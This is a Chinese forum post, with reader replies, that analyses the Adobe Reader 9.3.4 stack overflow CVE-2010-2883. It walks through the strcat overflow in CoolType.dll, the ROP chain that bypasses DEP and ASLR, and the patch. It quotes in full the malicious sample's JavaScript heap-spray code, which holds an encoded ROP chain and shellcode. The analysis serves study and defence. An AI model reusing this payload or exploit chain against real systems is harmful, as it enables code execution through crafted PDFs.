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[漏洞分析] Adobe Reader栈溢出漏洞(CVE-2010-2883)漏洞分析

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鬼手56 发表于 2019-6-13 10:13 回帖奖励

漏洞描述

CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞,用户受骗打开了特制的PDF就有可能导致执行任意恶意代码

测试环境

推荐使用的环境
操作系统 Windows XP SP3
虚拟机 VMware
调试器 OD IDA
漏洞软件 Adobe Reader9.3.4

静态分析

定位触发点

用IDA反汇编CoolType.dll库,查看字符串可发现SING字体

分析漏洞成因

直接定位进去即可查看该库对sing表格的解析方式,主要是strcat造成的溢出漏洞

可以注意到在地址0x0803DDAB处调用了strcat函数,先来看下strcat函数原型

char *strcat(char *dest, const char *src);

strcat会将参数src字符串复制到参数dest所指的字符串尾部,dest最后的结束字符NULL会被覆盖掉,并在连接后的字符串尾部再增加一个NULL

漏洞成因就是没有去验证src的长度是否可能会超出dest数组定义的长度。如果我们有可能超出dest数组定义的长度的数据放入src中有可能在后方调用strcat函数时覆盖栈区从而实现代码执行

动态调试

在复现环境中把Adobe Reader 9.3.4启动程序载入OD,加载之后按F9运行。此时OD显示当前调试程序是运行状态,实际上这个时候Adobe Reader就已经加载了CoolType.dll文件了。

通过刚刚的静态分析我们了解到SING在地址0x0803DD74处被引用,因此我们可以在OD中在这个地址处下一个断点

获取SING表的入口地址

Ctrl+G输入0x0803DD74回车跳转到该地址F2下断点

将样本(名企面试自助手册.pdf)拖入Adobe Reader中,程序就会停在刚才下的断点上面

F7单步到下面的地址

此时ecx指向0x12E404,《漏洞战争》对这条指令的解释是这里是SING表的表的入口,我们来验证一下,数据窗口跟随看看这个指针里面存放的是什么

在分析这段数据之前我们先来看看TrueType字体格式标准文档里

在TrueType字体文件中,从0字节偏移的位置开始有一个表目录。且这个表目录的第一个字段是名为sfnt version是用来表明所用ttf格式版本的字段。在文档中清楚的说明了,对于1.0版本的TTF字体文件开头要用0x00010000来表示版本。

现在回到0x2AEB710位置处的数据,

会发现开头正好是0x00010000,这就证明了ecx保存的确实是SING表的指针

继续动态调试,接下来遇到一个call指令,不妨来看看这个函数传入了哪些参数

很明显它将SING字符串当作参数了,这个call实际上是在处理SING表,这里我们直接F8步过,继续单步

此时eax为0x46949,要想知道这块数据是什么,首先用pdfStreamDumper取出PDF样本中的TTF文件。TTF中关于SING表的TableEntry结构数据,如图所示

下面是官方文档中对TableEntry结构的定义

typedef struct_SING
{
    char tag[4]     //标记->SING
    ULONG checkSum  //校验和->0xD9BCCBB5
    ULONG offset    //相对文件的偏移->011C
    ULONG length    //数据长度->0x1DDF
}

通过观察SING表中的结构我们可以知道在文件偏移0x11C处即是SING表的真实数据,Ctrl+G去到0x11C处,发现和eax所指向的0x46949是一致的,如图:

通过确认这个eax所指向的内容我们可以推测出上面那个call的作用是取出SING表的入口地址

接着比较eax和esi的值,检测SING表是否为空

下面的je因为SING表不为空,所以不会跳转

然后这里取出eax的内容赋给ecx,通过刚才的分析我们知道此时的ecx保存的是ttf的版本号,继续往下

然后清掉低4位,结果为零,je跳转,继续往下

接着将eax加上0x10,eax原来指向SING表,SING表加上0x10处指向的是unique域,在010Editor处如图:

溢出点

继续单步就能发现溢出点

这里将uniqueName域和当前的ebp入栈,然后调用strcat进行字符串拼接,但是没有进行安全检查,导致溢出,我们单步步过strcat后查看一下ebp开始的栈区数据

此时栈溢出已经发生,函数的返回地址已经被覆盖为SING表中的恶意数据,在010Editor中如图

精心挑选的返回地址

这个地址位于icucnv32.dll中,让我们来看看这个地址有和特别之处,为什么会选择这样一个地址,用010打开icucnv32.dll

我们发现IMAGE_OPTIONAL_HEADER中的IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE 的值为0,也就是说这个模块没有开启ASLR,这就保证了exploit的稳定性

继续往下分析,执行到0x0808B308时,eax的值指向0x4A80CB38,这个地址也是在icucnv32.dll中,我们F7跟进去,

这个地址是精心挑选的ROP指令,首先调整了ebp,调整之后ebp为0012E4DC

也就是将ebp调整到strcat函数调用后的栈区数据范围内,接下来执行leave,修改了esp

最后retn会跳转到0x4A82A714地址处,继续F7单步

pop esp之后,esp将被修改为0x0C0C0C0C,然后返回,此时栈的情况如图:

JavaScript实现HeapSpray

上面的0x0C0C0C0C是样本特意构造的,自然是为了实现 HeapSpary堆喷射技术,借助PDF本身支持执行JS的特性,将ShellCode借助JS写入内存中。栈中的数据即是JS代码中的ShellCode,作者利用它来实现ROP以绕过DEP保护。

这里借助PDFStreamDumper工具提取样本中这段实现堆喷射的JS代码

var var_shellcode = 
unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ub5ba%uda4b%udd0e%ud9c1%u2474%u5ef4%uc933%u31b1%u5631%u0313%u1356%uee83%ua949%uf22f%uac59%u0bd0%ud199%uee59%ud1a8%u7a3e%ue19a%u2e35%u8916%udb18%uffad%uecb4%ub506%uc3e2%ue697%u42d7%uf51b%ua50b%u3622%ua45e%u2b63%uf493%u273c%ue906%u7d49%u829b%u9301%u779b%u92d1%u298a%ucd6a%ucb0c%u65bf%ud305%u40dc%u68df%u3e16%ub8de%ubf67%u854d%u3248%uc18f%uad6e%u3bfa%u508d%ufffd%u8eec%u1b88%u4456%uc02a%u8967%u83ad%u666b%uccb9%u796f%u676e%uf28b%ua891%u401a%u6cb6%u1247%u35d7%uf52d%u26e8%uaa8e%u2c4c%ube22%u6ffc%u4128%u0a72%u411e%u158c%u2a0e%u9ebd%u2dc1%u7542%uc2a6%ud408%u4a8e%u8cd5%u1693%u7ae6%u2ed7%u8f65%ud4a7%ufa75%u91a2%u1631%u8ade%u18d7%uaa4d%u7afd%u3810%u529d%ub8b7%uab04' );
var var_c = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (var_c.length + 20 + 8 < 0x10000) var_c+=var_c;
var_b = var_c.substring(0, (0x0c0c-0x24)/2);
var_b += var_shellcode;
var_b += var_c;
var_d = var_b.substring(0, 0x10000/2);
while(var_d.length < 0x80000) var_d += var_d;
var_3 = var_d.substring(0, 0x80000 - (0x1020-0x08) / 2);
var var_4 = new Array();
for (var_i=0;var_i<0x1f0;var_i++) var_4[var_i]=var_3+"s";

所有的ShellCode都被转化为了十六进制的转义序列,经过unescape解码之后存储在var_shellcode之中,var_c变量存储了%u0c0c%u0c0c,接下来用了一个while循环叠加var_c,用来覆盖内存的数据。

采用0x0c0c0c0c作为滑板指令的原因是因为它对应的指令是or al,0x0C,这样的指令执行的效果对al寄存器不会产生任何影响

接下来的var_b保存了前面是所有滑板指令以及ShellCode,最关键的实现堆喷射的语句是new Array(),利用数据来开辟内存区域,然后通过填充数据的方式来喷射ShellCode

利用ROP链绕过DEP保护

继续调试

这里ecx =0x4A8A0000 [ecx] = “UTF-32”,然后返回

这里借原本存“UTF-32”字符串的地方保存eax的值,然后再次返回

这里eax指向了CreateFileA

然后返回去跳转执行CreateFileA,我们直接查看CreateFileA在栈区的参数

这里以隐藏的方式创建了一个临时文件,文件名为iso88591,可以在当前样本的同路径下找到,我们直接按Ctrl+F9返回

这里会跳转到0x4A8063A5

然后将ecx赋值为4A801064,接着跳转到0x4A842DB2

这里交换eax和edi寄存器的值,接着跳转到0x4A802AB1,继续单步

此时ebx为0x8,跳转到0x4A80A8A6

这里指向了一个函数的实现模块

接着用相同的方法调用CreateFileMappingA,创建文件映射对象,再来查看一下堆栈中的参数

直接Ctrl+F9返回,然后去执行MapViewOfFile,将一个文件映射对象映射到当前程序的地址空间

参数如下

然后用类似的方法去调用memcpy

参数如下

这里将要执行的ShellCode写入到MapViewOfFile返回的地址,因为这段内存是可读可写的,所以就绕过了DEP的保护由于构造的ROP链指令均位于不受ASLR保护的icucnv32.dll模块,因此也绕过了ASLR。

接着去执行ShellCode

至于ShellCode本身干了什么,这个不是我们关心的重点

漏洞利用流程总结

漏洞流程总结如图所示

漏洞修复

下载AdobeReader 9.4.0提取CoolType.dll,定位到相同的位置

这里不再是调用strcat,而是 sub_813391E,跟进去看看sub_813391E

该函数获取了字段的长度,判断是否超出限制。如果超出限制就用strncat限制了拷贝的字节数从而修复了该漏洞

参考资料

《漏洞战争》

细说CVE-2010-2883从原理分析到样本构造

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 楼主| 鬼手56 发表于 2019-7-7 18:59 <
sakuraitomoko 发表于 2019-7-7 16:45
大佬  我用XP 打开od  设完断点  打开名企面试手册的时候  弹出  该文件有错误但是已经被修复  的窗口   然 ...

pco被修复了 哈哈哈哈
推荐
sakuraitomoko 发表于 2019-7-7 16:45
大佬  我用XP 打开od  设完断点  打开名企面试手册的时候  弹出  该文件有错误但是已经被修复  的窗口   然后 就不能单步了   adobe_reader 9.3.4
4#
zhengjim 发表于 2019-6-13 10:52
5#
gotounix 发表于 2019-6-13 11:04
这个分析真详细,学习了。
6#
一只鱼的传说 发表于 2019-6-13 11:11
膜拜膜拜大佬  牛逼plus
7#
浮尘云烟 发表于 2019-6-13 11:12
大佬厉害!
8#
SCL 发表于 2019-6-13 14:20

++

%C0%F7%BA%A6%C1%CB%26%23128077%3B++
9#
挥毫只为你 发表于 2019-6-13 14:57
所以就体现出来升级软件的必要
10#
Joduska 发表于 2019-6-13 18:02
meishazuoyong
11#
GCM 发表于 2019-6-13 22:13
表示不太懂
12#
hxp.china.sh 发表于 2019-6-14 09:13
完全看不懂
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